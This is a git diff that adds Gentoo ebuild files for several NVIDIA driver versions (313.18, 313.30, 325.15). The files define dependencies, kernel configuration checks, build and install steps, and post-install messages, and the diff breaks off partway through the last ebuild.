+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	~x11-drivers/nvidia-userspace-${PV}[tools=]
+	~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_SRC="${S}/src"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild
new file mode 100644
index 00000000..3dc5972c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild
@@ -0,0 +1,431 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild,v 1.2 2013/01/17 18:29:22 cardoe Exp $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 driver and GLX libraries"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib kernel_FreeBSD kernel_linux pax_kernel +tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	X? (
+		<x11-base/xorg-server-1.14.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}
+	kernel_linux? (
+		virtual/linux-sources
+	)"
+RDEPEND="${COMMON}
+	acpi? ( sys-power/acpid )
+	tools? (
+		dev-libs/atk
+		dev-libs/glib
+		x11-libs/gdk-pixbuf
+		x11-libs/gtk+:2
+		x11-libs/libX11
+		x11-libs/libXext
+		x11-libs/pango[X]
+		|| ( x11-libs/pangox-compat <x11-libs/pango-1.31[X] )
+	)
+	X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+
+QA_PREBUILT="opt/* usr/lib*"
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+
+	if use pax_kernel; then
+		ewarn "Using PAX patches is not supported. You will be asked to"
+		ewarn "use a standard kernel should you have issues. Should you"
+		ewarn "need support with these patches, contact the PaX team."
+	    epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+	    epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+	fi
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "$(udev_get_udevdir)"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+		udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	# NVIDIA video encode/decode <-> CUDA
+	if use kernel_linux; then
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+		donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins ${NV_OBJ}/nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+		use tools && doman "${NV_MAN}/nvidia-settings.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		use tools && doman "${NV_MAN}/nvidia-settings.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	if use tools; then
+		doexe ${NV_OBJ}/nvidia-settings || die
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	# Desktop entries for nvidia-settings
+	if use tools ; then
+		# There is no icon in the FreeBSD tarball.
+		use kernel_FreeBSD || newicon ${NV_OBJ}/nvidia-settings.png nvidia-drivers-settings.png
+		domenu "${FILESDIR}"/nvidia-drivers-settings.desktop
+		exeinto /etc/X11/xinit/xinitrc.d
+		doexe "${FILESDIR}"/95-nvidia-settings
+	fi
+
+	#doenvd "${FILESDIR}"/50nvidia-prelink-blacklist
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+		donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "This ebuild installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+	if ! use tools; then
+		elog "USE=tools controls whether the nvidia-settings application"
+		elog "is installed. If you would like to use it, enable that"
+		elog "flag and re-emerge this ebuild. Optionally you can install"
+		elog "media-video/nvidia-settings"
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-313.30.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-313.30.ebuild
new file mode 100644
index 00000000..d8507b3a
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-313.30.ebuild
@@ -0,0 +1,184 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	~x11-drivers/nvidia-userspace-${PV}[tools=]
+	~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_SRC="${S}/src"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+	if use pax_kernel; then
+		ewarn "Using PAX patches is not supported. You will be asked to"
+		ewarn "use a standard kernel should you have issues. Should you"
+		ewarn "need support with these patches, contact the PaX team."
+		epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+		epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+	fi
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-325.15.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-325.15.ebuild
new file mode 100644
index 00000000..fd3e8354
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-325.15.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+	amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+	x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	~x11-drivers/nvidia-userspace-${PV}[tools=]
+	~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
